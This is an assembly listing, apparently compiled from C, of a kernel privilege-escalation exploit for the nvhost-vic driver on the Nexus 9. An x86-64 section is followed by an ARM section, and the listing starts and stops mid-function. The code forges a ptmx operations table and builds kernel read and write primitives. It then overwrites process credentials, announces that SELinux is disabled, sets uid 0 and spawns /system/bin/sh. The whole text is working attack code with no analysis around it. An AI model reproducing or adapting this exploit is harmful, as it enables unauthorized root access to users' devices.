	mov	rax, QWORD PTR fake_ptmx_fops[rip]
	add	rax, 24
	movabs	rcx, -274873788204
	mov	QWORD PTR [rax], rcx
	mov	rax, QWORD PTR fake_ptmx_fops[rip]
	add	rax, 64
	movabs	rbx, -274873789336
	mov	QWORD PTR [rax], rbx
	mov	rax, QWORD PTR fake_ptmx_fops[rip]
	add	rax, 72
	movabs	rcx, -274873778644
	mov	QWORD PTR [rax], rcx
	mov	rax, QWORD PTR fake_ptmx_fops[rip]
	add	rax, 80
	movabs	rbx, -274873789560
	mov	QWORD PTR [rax], rbx
	mov	rax, QWORD PTR fake_ptmx_fops[rip]
	add	rax, 96
	movabs	rcx, -274873742988
	mov	QWORD PTR [rax], rcx
	mov	rax, QWORD PTR fake_ptmx_fops[rip]
	add	rax, 112
	movabs	rbx, -274873780808
	mov	QWORD PTR [rax], rbx
	mov	rax, QWORD PTR fake_ptmx_fops[rip]
	add	rax, 136
	movabs	rcx, -274873789868
	mov	QWORD PTR [rax], rcx
	lea	rdi, .LC19[rip]
	call	puts@PLT
	lea	rax, -48[rbp]
	mov	edx, 24
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	eax, DWORD PTR -100[rbp]
	mov	DWORD PTR -32[rbp], eax
	movabs	rax, -274860432048
	sub	rax, QWORD PTR -64[rbp]
	mov	QWORD PTR -48[rbp], rax
	mov	QWORD PTR -40[rbp], 0
	mov	DWORD PTR -84[rbp], -1072150417
	mov	ecx, DWORD PTR -84[rbp]
	lea	rdx, -48[rbp]
	mov	eax, DWORD PTR -88[rbp]
	mov	rsi, rcx
	mov	edi, eax
	mov	eax, 0
	call	ioctl@PLT
	mov	DWORD PTR -92[rbp], eax
	cmp	DWORD PTR -92[rbp], -1
	jne	.L55
	call	__errno_location@PLT
	mov	ebx, DWORD PTR [rax]
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	mov	edi, eax
	call	strerror@PLT
	mov	edx, ebx
	mov	rsi, rax
	lea	rdi, .LC15[rip]
	mov	eax, 0
	call	printf@PLT
	jmp	.L56
.L55:
	lea	rdi, .LC20[rip]
	call	puts@PLT
	lea	rax, -48[rbp]
	mov	edx, 24
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	eax, DWORD PTR -100[rbp]
	mov	DWORD PTR -32[rbp], eax
	movabs	rax, -274860432052
	sub	rax, QWORD PTR -64[rbp]
	mov	QWORD PTR -48[rbp], rax
	mov	QWORD PTR -40[rbp], 0
	mov	DWORD PTR -84[rbp], -1072150417
	mov	ecx, DWORD PTR -84[rbp]
	lea	rdx, -48[rbp]
	mov	eax, DWORD PTR -88[rbp]
	mov	rsi, rcx
	mov	edi, eax
	mov	eax, 0
	call	ioctl@PLT
	mov	DWORD PTR -92[rbp], eax
	cmp	DWORD PTR -92[rbp], -1
	jne	.L57
	call	__errno_location@PLT
	mov	ebx, DWORD PTR [rax]
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	mov	edi, eax
	call	strerror@PLT
	mov	edx, ebx
	mov	rsi, rax
	lea	rdi, .LC15[rip]
	mov	eax, 0
	call	printf@PLT
	jmp	.L56
.L57:
	call	rop_init
	lea	rdi, .LC21[rip]
	call	puts@PLT
	call	do_root
	lea	rdi, .LC22[rip]
	call	puts@PLT
	call	restore
	call	rop_close
.L56:
	mov	rax, QWORD PTR -56[rbp]
	mov	esi, 268435456
	mov	rdi, rax
	call	munmap@PLT
.L49:
	mov	eax, DWORD PTR -88[rbp]
	mov	edi, eax
	call	close@PLT
.L47:
	mov	rax, QWORD PTR -80[rbp]
	mov	esi, 268435456
	mov	rdi, rax
	call	munmap@PLT
	jmp	.L44
.L60:
	nop
.L44:
	mov	eax, DWORD PTR -92[rbp]
	mov	rbx, QWORD PTR -24[rbp]
	sub	rbx, QWORD PTR fs:40
	je	.L59
	call	__stack_chk_fail@PLT
.L59:
	mov	rbx, QWORD PTR -8[rbp]
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE16:
	.size	get_root, .-get_root
	.section	.rodata
	.align 8
.LC23:
	.string	"*********************************************************"
	.align 8
.LC24:
	.string	"*\t     Exploit for nvhost-vic vulnerability\t*"
	.align 8
.LC25:
	.string	"*\t        Just for Nexus 9\tMMB29R\t\t*"
	.align 8
.LC26:
	.string	"*\tby Jianqiang Zhao (zhaojianqiang1@gmail.com)\t*"
.LC27:
	.string	"*\t\t\t2-22-2016\t\t\t*"
	.text
	.type	banner, @function
banner:
.LFB17:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	mov	edi, 10
	call	putchar@PLT
	lea	rdi, .LC23[rip]
	call	puts@PLT
	lea	rdi, .LC24[rip]
	call	puts@PLT
	lea	rdi, .LC25[rip]
	call	puts@PLT
	lea	rdi, .LC26[rip]
	call	puts@PLT
	lea	rdi, .LC27[rip]
	call	puts@PLT
	lea	rdi, .LC23[rip]
	call	puts@PLT
	mov	edi, 10
	call	putchar@PLT
	nop
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE17:
	.size	banner, .-banner
	.section	.rodata
.LC28:
	.string	"[-] get root fail"
.LC29:
	.string	"[+] SELinux disabled! "
.LC30:
	.string	"\n[+] Got it :)"
.LC31:
	.string	"[+] uid=%d gid=%d\n"
.LC32:
	.string	"/system/bin/sh"
.LC33:
	.string	"execl failed, errno %d\n"
	.text
	.globl	main
	.type	main, @function
main:
.LFB18:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	rbx
	sub	rsp, 24
	.cfi_offset 3, -24
	call	banner
	lea	rax, .LC1[rip]
	mov	r8d, 0
	mov	ecx, 0
	mov	edx, 0
	mov	rsi, rax
	mov	edi, 15
	mov	eax, 0
	call	prctl@PLT
	call	get_root
	mov	DWORD PTR -20[rbp], eax
	cmp	DWORD PTR -20[rbp], -1
	jne	.L64
	lea	rdi, .LC28[rip]
	call	puts@PLT
	mov	eax, -1
	jmp	.L65
.L64:
	lea	rdi, .LC29[rip]
	call	puts@PLT
	mov	edx, 0
	mov	esi, 0
	mov	edi, 0
	mov	eax, 0
	call	setresuid@PLT
	test	eax, eax
	jne	.L66
	mov	edx, 0
	mov	esi, 0
	mov	edi, 0
	mov	eax, 0
	call	setresgid@PLT
	lea	rdi, .LC30[rip]
	call	puts@PLT
	call	getgid@PLT
	mov	ebx, eax
	call	getuid@PLT
	mov	edx, ebx
	mov	esi, eax
	lea	rdi, .LC31[rip]
	mov	eax, 0
	call	printf@PLT
	mov	edi, 1
	call	sleep@PLT
	mov	edx, 0
	lea	rsi, .LC32[rip]
	lea	rdi, .LC32[rip]
	mov	eax, 0
	call	execl@PLT
	mov	DWORD PTR -20[rbp], eax
	cmp	DWORD PTR -20[rbp], 0
	je	.L66
	call	__errno_location@PLT
	mov	eax, DWORD PTR [rax]
	mov	esi, eax
	lea	rdi, .LC33[rip]
	mov	eax, 0
	call	printf@PLT
.L66:
	mov	eax, 0
.L65:
	mov	rbx, QWORD PTR -8[rbp]
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE18:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"162643671.c"
	.text
	.local	my_task
	.comm	my_task,4,4
	.data
	.align	2
	.type	task_offset, %object
	.size	task_offset, 4
task_offset:
	.word	616
	.align	2
	.type	comm_offset, %object
	.size	comm_offset, 4
comm_offset:
	.word	1168
	.align	2
	.type	cred_offset, %object
	.size	cred_offset, 4
cred_offset:
	.word	1160
	.local	ptmx_fd
	.comm	ptmx_fd,4,4
	.local	fake_ptmx_fops
	.comm	fake_ptmx_fops,4,4
	.section	.rodata
	.align	2
.LC0:
	.ascii	"search task list end, can't get task\000"
	.align	2
.LC1:
	.ascii	"pvR_timewQ\000"
	.align	2
.LC2:
	.word	__stack_chk_guard
	.text
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	get_task_by_comm, %function
get_task_by_comm:
	@ args = 0, pretend = 0, frame = 96
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #96
	str	r0, [fp, #-96]
	ldr	r3, .L10
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r3, #0
	str	r3, [fp, #-72]
	mov	r3, #0
	str	r3, [fp, #-60]
	sub	r3, fp, #56
	mov	r2, #46
	mov	r1, #0
	mov	r0, r3
	bl	memset
	ldr	r3, .L10+4
	ldr	r2, [r3]
	ldr	r3, .L10+8
	add	r3, r2, r3
	str	r3, [fp, #-80]
	ldr	r3, [fp, #-80]
	str	r3, [fp, #-68]
	mov	r3, #0
	str	r3, [fp, #-76]
	b	.L2
.L7:
	ldr	r3, [fp, #-80]
	add	r3, r3, #8
	str	r3, [fp, #-64]
	sub	r3, fp, #80
	mov	r1, r3
	ldr	r0, [fp, #-64]
	bl	kernel_read
	str	r0, [fp, #-72]
	ldr	r3, [fp, #-80]
	ldr	r2, [fp, #-68]
	cmp	r2, r3
	bne	.L3
	ldr	r0, .L10+12
	bl	puts
	mvn	r3, #0
	b	.L8
.L3:
	ldr	r2, [fp, #-80]
	ldr	r3, .L10+4
	ldr	r3, [r3]
	sub	r2, r2, r3
	ldr	r3, .L10+16
	ldr	r3, [r3]
	add	r3, r2, r3
	str	r3, [fp, #-64]
	sub	r3, fp, #92
	mov	r1, r3
	ldr	r0, [fp, #-64]
	bl	kernel_read_32
	str	r0, [fp, #-72]
	ldr	r2, [fp, #-80]
	ldr	r3, .L10+4
	ldr	r3, [r3]
	sub	r2, r2, r3
	ldr	r3, .L10+16
	ldr	r3, [r3]
	add	r3, r2, r3
	add	r3, r3, #4
	str	r3, [fp, #-64]
	sub	r3, fp, #88
	mov	r1, r3
	ldr	r0, [fp, #-64]
	bl	kernel_read_32
	str	r0, [fp, #-72]
	ldr	r2, [fp, #-80]
	ldr	r3, .L10+4
	ldr	r3, [r3]
	sub	r2, r2, r3
	ldr	r3, .L10+16
	ldr	r3, [r3]
	add	r3, r2, r3
	add	r3, r3, #8
	str	r3, [fp, #-64]
	sub	r3, fp, #84
	mov	r1, r3
	ldr	r0, [fp, #-64]
	bl	kernel_read_32
	str	r0, [fp, #-72]
	sub	r1, fp, #92
	sub	r3, fp, #60
	mov	r2, #4
	mov	r0, r3
	bl	memcpy
	sub	r3, fp, #60
	add	r3, r3, #4
	sub	r1, fp, #88
	mov	r2, #4
	mov	r0, r3
	bl	memcpy
	sub	r3, fp, #60
	add	r3, r3, #8
	sub	r1, fp, #84
	mov	r2, #4
	mov	r0, r3
	bl	memcpy
	sub	r3, fp, #60
	mov	r2, #10
	ldr	r1, .L10+20
	mov	r0, r3
	bl	strncmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L5
	ldr	r2, [fp, #-80]
	ldr	r3, .L10+4
	ldr	r3, [r3]
	sub	r2, r2, r3
	ldr	r3, [fp, #-96]
	str	r2, [r3]
	b	.L6
.L5:
	ldr	r3, [fp, #-76]
	add	r3, r3, #1
	str	r3, [fp, #-76]
.L2:
	ldr	r3, [fp, #-76]
	cmp	r3, #1000
	blt	.L7
.L6:
	mov	r3, #0
.L8:
	ldr	r2, .L10
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L9
	bl	__stack_chk_fail
.L9:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L11:
	.align	2
.L10:
	.word	.LC2
	.word	task_offset
	.word	15042592
	.word	.LC0
	.word	comm_offset
	.word	.LC1
	.size	get_task_by_comm, .-get_task_by_comm
	.section	.rodata
	.align	2
.LC3:
	.ascii	"[-] get myself fail!\000"
	.align	2
.LC4:
	.ascii	"invalid task address!\000"
	.align	2
.LC5:
	.word	__stack_chk_guard
	.text
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	do_root, %function
do_root:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	ldr	r3, .L17
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r0, .L17+4
	bl	get_task_by_comm
	str	r0, [fp, #-12]
	ldr	r3, [fp, #-12]
	cmp	r3, #0
	beq	.L13
	ldr	r0, .L17+8
	bl	puts
	mvn	r3, #0
	b	.L15
.L13:
	ldr	r0, .L17+12
	bl	printf
	mvn	r3, #1
.L15:
	ldr	r2, .L17
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L16
	bl	__stack_chk_fail
.L16:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L18:
	.align	2
.L17:
	.word	.LC5
	.word	my_task
	.word	.LC3
	.word	.LC4
	.size	do_root, .-do_root
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	restore, %function
restore:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #8
	ldr	r3, .L20
	str	r3, [fp, #-8]
	mvn	r1, #63
	ldr	r0, [fp, #-8]
	bl	kernel_write_32
	ldr	r3, .L20+4
	str	r3, [fp, #-8]
	ldr	r1, [fp, #-8]
	ldr	r0, [fp, #-8]
	bl	kernel_write
	ldr	r3, [fp, #-8]
	add	r3, r3, #8
	ldr	r1, [fp, #-8]
	mov	r0, r3
	bl	kernel_write
	nop
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L21:
	.align	2
.L20:
	.word	17474892
	.word	17474896
	.size	restore, .-restore
	.section	.rodata
	.align	2
.LC6:
	.ascii	"/dev/nvmap\000"
	.align	2
.LC7:
	.ascii	"[-] Failed to open nvmap device (%d-%s)\012\000"
	.align	2
.LC8:
	.ascii	"[-] Ioctl nvmap fail(%s - %d)\012\000"
	.align	2
.LC9:
	.word	__stack_chk_guard
	.text
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	map_nvmap_handle, %function
map_nvmap_handle:
	@ args = 0, pretend = 0, frame = 56
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #60
	str	r0, [fp, #-64]
	ldr	r3, .L30
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	mov	r3, #0
	str	r3, [fp, #-56]
	mov	r2, #0
	mov	r1, #0
	ldr	r0, .L30+4
	bl	open
	str	r0, [fp, #-52]
	ldr	r3, [fp, #-52]
	cmp	r3, #0
	bge	.L23
	mvn	r3, #0
	str	r3, [fp, #-56]
	bl	__errno_location
	mov	r3, r0
	ldr	r4, [r3]
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r0, r3
	bl	strerror
	mov	r3, r0
	mov	r2, r3
	mov	r1, r4
	ldr	r0, .L30+8
	bl	printf
	b	.L24
.L23:
	sub	r3, fp, #40
	mov	r2, #8
	mov	r1, #0
	mov	r0, r3
	bl	memset
	mov	r3, #65536
	str	r3, [fp, #-40]
	ldr	r3, .L30+12
	str	r3, [fp, #-48]
	sub	r3, fp, #40
	mov	r2, r3
	ldr	r1, [fp, #-48]
	ldr	r0, [fp, #-52]
	bl	ioctl
	str	r0, [fp, #-56]
	ldr	r3, [fp, #-56]
	cmn	r3, #1
	bne	.L25
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r0, r3
	bl	strerror
	mov	r4, r0
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r2, r3
	mov	r1, r4
	ldr	r0, .L30+16
	bl	printf
	b	.L26
.L25:
	ldr	r3, [fp, #-36]
	str	r3, [fp, #-44]
	sub	r3, fp, #32
	mov	r2, #16
	mov	r1, #0
	mov	r0, r3
	bl	memset
	ldr	r3, [fp, #-44]
	str	r3, [fp, #-32]
	mov	r3, #4096
	str	r3, [fp, #-20]
	mov	r3, #1073741824
	str	r3, [fp, #-28]
	mov	r3, #1
	str	r3, [fp, #-24]
	ldr	r3, .L30+20
	str	r3, [fp, #-48]
	sub	r3, fp, #32
	mov	r2, r3
	ldr	r1, [fp, #-48]
	ldr	r0, [fp, #-52]
	bl	ioctl
	str	r0, [fp, #-56]
	ldr	r3, [fp, #-56]
	cmn	r3, #1
	bne	.L27
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r0, r3
	bl	strerror
	mov	r4, r0
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r2, r3
	mov	r1, r4
	ldr	r0, .L30+16
	bl	printf
	b	.L26
.L27:
	ldr	r3, [fp, #-64]
	ldr	r2, [fp, #-44]
	str	r2, [r3]
.L26:
	ldr	r0, [fp, #-52]
	bl	close
.L24:
	ldr	r3, [fp, #-56]
	ldr	r2, .L30
	ldr	r1, [r2]
	ldr	r2, [fp, #-16]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L29
	bl	__stack_chk_fail
.L29:
	mov	r0, r3
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
.L31:
	.align	2
.L30:
	.word	.LC9
	.word	.LC6
	.word	.LC7
	.word	-1073197568
	.word	.LC8
	.word	1074810371
	.size	map_nvmap_handle, .-map_nvmap_handle
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	kernel_write_32, %function
kernel_write_32:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-16]
	str	r1, [fp, #-20]
	ldr	r3, .L34
	ldr	r3, [r3]
	add	r3, r3, #72
	mov	r2, r3
	ldr	r3, .L34+4
	str	r3, [r2]
	ldr	r3, [fp, #-16]
	sub	r3, r3, #16
	str	r3, [fp, #-8]
	ldr	r3, .L34+8
	ldr	r1, [r3]
	ldr	r3, [fp, #-8]
	ldr	r2, [fp, #-20]
	mov	r0, #54
	bl	eabi_syscall
	mov	r3, #0
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L35:
	.align	2
.L34:
	.word	fake_ptmx_fops
	.word	8553324
	.word	ptmx_fd
	.size	kernel_write_32, .-kernel_write_32
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	kernel_write, %function
kernel_write:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-16]
	str	r1, [fp, #-20]
	ldr	r3, [fp, #-20]
	str	r3, [fp, #-8]
	ldr	r1, [fp, #-8]
	ldr	r0, [fp, #-16]
	bl	kernel_write_32
	mov	r2, #32
	ldr	r3, [fp, #-20]
	lsr	r3, r3, r2
	str	r3, [fp, #-8]
	ldr	r3, [fp, #-16]
	add	r3, r3, #4
	ldr	r1, [fp, #-8]
	mov	r0, r3
	bl	kernel_write_32
	mov	r3, #0
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	.size	kernel_write, .-kernel_write
	.section	.rodata
	.align	2
.LC10:
	.ascii	"/dev/ptmx\000"
	.align	2
.LC11:
	.ascii	"[-] Open ptmx fail (%s - %d)\012\000"
	.text
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	rop_init, %function
rop_init:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, fp, lr}
	add	fp, sp, #12
	mov	r1, #0
	ldr	r0, .L41
	bl	open
	mov	r3, r0
	ldr	r2, .L41+4
	str	r3, [r2]
	ldr	r3, .L41+4
	ldr	r3, [r3]
	cmn	r3, #1
	bne	.L39
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r0, r3
	bl	strerror
	mov	r4, r0
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r2, r3
	mov	r1, r4
	ldr	r0, .L41+8
	bl	printf
	mvn	r3, #0
	b	.L40
.L39:
	mov	r3, #0
.L40:
	mov	r0, r3
	pop	{r4, r5, fp, pc}
.L42:
	.align	2
.L41:
	.word	.LC10
	.word	ptmx_fd
	.word	.LC11
	.size	rop_init, .-rop_init
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	rop_close, %function
rop_close:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	ldr	r3, .L45
	ldr	r3, [r3]
	mov	r0, r3
	bl	close
	mov	r3, #0
	mov	r0, r3
	pop	{fp, pc}
.L46:
	.align	2
.L45:
	.word	ptmx_fd
	.size	rop_close, .-rop_close
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	kernel_read_32, %function
kernel_read_32:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #16
	str	r0, [fp, #-16]
	str	r1, [fp, #-20]
	ldr	r3, .L49
	ldr	r3, [r3]
	add	r3, r3, #72
	mov	r2, r3
	ldr	r3, .L49+4
	str	r3, [r2]
	ldr	r3, [fp, #-16]
	sub	r3, r3, #16
	str	r3, [fp, #-12]
	bl	__errno_location
	mov	r3, r0
	mov	r2, #0
	str	r2, [r3]
	ldr	r3, .L49+8
	ldr	r1, [r3]
	ldr	r3, [fp, #-12]
	ldr	r2, .L49+12
	mov	r0, #54
	bl	eabi_syscall
	str	r0, [fp, #-8]
	ldr	r2, [fp, #-8]
	ldr	r3, [fp, #-20]
	str	r2, [r3]
	mov	r3, #0
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L50:
	.align	2
.L49:
	.word	fake_ptmx_fops
	.word	3397624
	.word	ptmx_fd
	.word	-559038737
	.size	kernel_read_32, .-kernel_read_32
	.section	.rodata
	.align	2
.LC12:
	.word	__stack_chk_guard
	.text
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	kernel_read, %function
kernel_read:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #24
	str	r0, [fp, #-24]
	str	r1, [fp, #-28]
	ldr	r3, .L53
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	sub	r3, fp, #16
	mov	r1, r3
	ldr	r0, [fp, #-24]
	bl	kernel_read_32
	ldr	r3, [fp, #-24]
	add	r3, r3, #4
	sub	r2, fp, #12
	mov	r1, r2
	mov	r0, r3
	bl	kernel_read_32
	ldr	r2, [fp, #-16]
	ldr	r3, [fp, #-28]
	str	r2, [r3]
	nop
	ldr	r2, .L53
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L52
	bl	__stack_chk_fail
.L52:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L54:
	.align	2
.L53:
	.word	.LC12
	.size	kernel_read, .-kernel_read
	.section	.rodata
	.align	2
.LC13:
	.ascii	"[+] alloc nvmap handle: %d\012\000"
	.align	2
.LC14:
	.ascii	"[-] Failed to mmap landing (%d-%s)\012\000"
	.align	2
.LC15:
	.ascii	"[+] landing mmap'ed @ %p\012\000"
	.align	2
.LC16:
	.ascii	"/dev/nvhost-vic\000"
	.align	2
.LC17:
	.ascii	"[-] Open nvhost-vic fail (%s - %d)\012\000"
	.align	2
.LC18:
	.ascii	"[+] open device nvhost-vic\000"
	.align	2
.LC19:
	.ascii	"[-] Ioctl nvhost-vic fail(%s - %d)\012\000"
	.align	2
.LC20:
	.ascii	"[+] va position: 0x%lx\012\000"
	.align	2
.LC21:
	.ascii	"[-] shellcode mmap failed (%d-%s)\012\000"
	.align	2
.LC22:
	.ascii	"[+] prepare fake_ptmx_fops, mmap'ed @ %p.\012\000"
	.align	2
.LC23:
	.ascii	"[+] clear ptmx_cdev list first\000"
	.align	2
.LC24:
	.ascii	"[+] overwrite ptmx_cdev ops\000"
	.align	2
.LC25:
	.ascii	"[+] to get root ...\000"
	.align	2
.LC26:
	.ascii	"[+] restore \000"
	.align	2
.LC27:
	.word	__stack_chk_guard
	.text
	.align	2
	.syntax unified
	.arm
	.fpu softvfp
	.type	get_root, %function
get_root:
	@ args = 0, pretend = 0, frame = 72
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, r9, fp, lr}
	add	fp, sp, #28
	sub	sp, sp, #80
	ldr	r3, .L75+16
	ldr	r3, [r3]
	str	r3, [fp, #-32]
	mov	r3,#0
	mov	r3, #0
	str	r3, [fp, #-88]
	sub	r3, fp, #96
	mov	r0, r3
	bl	map_nvmap_handle
	str	r0, [fp, #-88]
	ldr	r3, [fp, #-88]
	cmn	r3, #1
	beq	.L73
	ldr	r3, [fp, #-96]
	mov	r1, r3
	ldr	r0, .L75+20
	bl	printf
	mov	r3, #0
	str	r3, [sp, #4]
	mvn	r3, #0
	str	r3, [sp]
	mov	r3, #34
	mov	r2, #3
	mov	r1, #268435456
	mov	r0, #0
	bl	mmap
	str	r0, [fp, #-84]
	ldr	r3, [fp, #-84]
	cmn	r3, #1
	bne	.L58
	bl	__errno_location
	mov	r3, r0
	ldr	r4, [r3]
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r0, r3
	bl	strerror
	mov	r3, r0
	mov	r2, r3
	mov	r1, r4
	ldr	r0, .L75+24
	bl	printf
	mvn	r3, #0
	str	r3, [fp, #-88]
	b	.L57
.L58:
	ldr	r1, [fp, #-84]
	ldr	r0, .L75+28
	bl	printf
	mov	r2, #268435456
	mov	r1, #255
	ldr	r0, [fp, #-84]
	bl	memset
	mov	r1, #0
	ldr	r0, .L75+32
	bl	open
	str	r0, [fp, #-80]
	ldr	r3, [fp, #-80]
	cmn	r3, #1
	bne	.L59
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r0, r3
	bl	strerror
	mov	r4, r0
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r2, r3
	mov	r1, r4
	ldr	r0, .L75+36
	bl	printf
	mvn	r3, #0
	str	r3, [fp, #-88]
	b	.L60
.L59:
	ldr	r0, .L75+40
	bl	puts
	sub	r3, fp, #60
	mov	r2, #24
	mov	r1, #0
	mov	r0, r3
	bl	memset
	ldr	r3, [fp, #-96]
	str	r3, [fp, #-44]
	ldr	r3, [fp, #-84]
	mov	r2, r3
	mov	r3, #0
	adds	r8, r2, #0
	adc	r9, r3, #128
	str	r8, [fp, #-60]
	str	r9, [fp, #-56]
	mov	r2, #0
	mov	r3, #0
	str	r2, [fp, #-52]
	str	r3, [fp, #-48]
	ldr	r3, .L75+44
	str	r3, [fp, #-76]
	sub	r3, fp, #60
	mov	r2, r3
	ldr	r1, [fp, #-76]
	ldr	r0, [fp, #-80]
	bl	ioctl
	str	r0, [fp, #-88]
	ldr	r3, [fp, #-88]
	cmn	r3, #1
	bne	.L61
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r0, r3
	bl	strerror
	mov	r4, r0
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r2, r3
	mov	r1, r4
	ldr	r0, .L75+48
	bl	printf
	b	.L62
.L61:
	mov	r3, #0
	str	r3, [fp, #-92]
	b	.L63
.L66:
	ldr	r3, [fp, #-92]
	lsl	r3, r3, #2
	ldr	r2, [fp, #-84]
	add	r3, r2, r3
	ldr	r3, [r3]
	str	r3, [fp, #-72]
	ldr	r3, [fp, #-72]
	cmp	r3, #0
	beq	.L74
	ldr	r3, [fp, #-92]
	add	r3, r3, #1
	str	r3, [fp, #-92]
.L63:
	ldr	r3, [fp, #-92]
	cmp	r3, #33554432
	blt	.L66
	b	.L65
.L74:
	nop
.L65:
	ldr	r3, [fp, #-92]
	lsl	r3, r3, #3
	str	r3, [fp, #-68]
	ldr	r1, [fp, #-68]
	ldr	r0, .L75+52
	bl	printf
	mov	r3, #0
	str	r3, [sp, #4]
	mvn	r3, #0
	str	r3, [sp]
	mov	r3, #49
	mov	r2, #3
	mov	r1, #268435456
	mov	r0, #65536
	bl	mmap
	str	r0, [fp, #-64]
	ldr	r3, [fp, #-64]
	cmn	r3, #1
	bne	.L67
	mvn	r3, #0
	str	r3, [fp, #-88]
	bl	__errno_location
	mov	r3, r0
	ldr	r4, [r3]
	bl	__errno_location
	mov	r3, r0
	ldr	r3, [r3]
	mov	r0, r3
	bl	strerror
	mov	r3, r0
	mov	r2, r3
	mov	r1, r4
	ldr	r0, .L75+56
	bl	printf
	b	.L62
.L67:
	ldr	r1, [fp, #-64]
	ldr	r0, .L75+60
	bl	printf
	mov	r2, #268435456
	mov	r1, #0
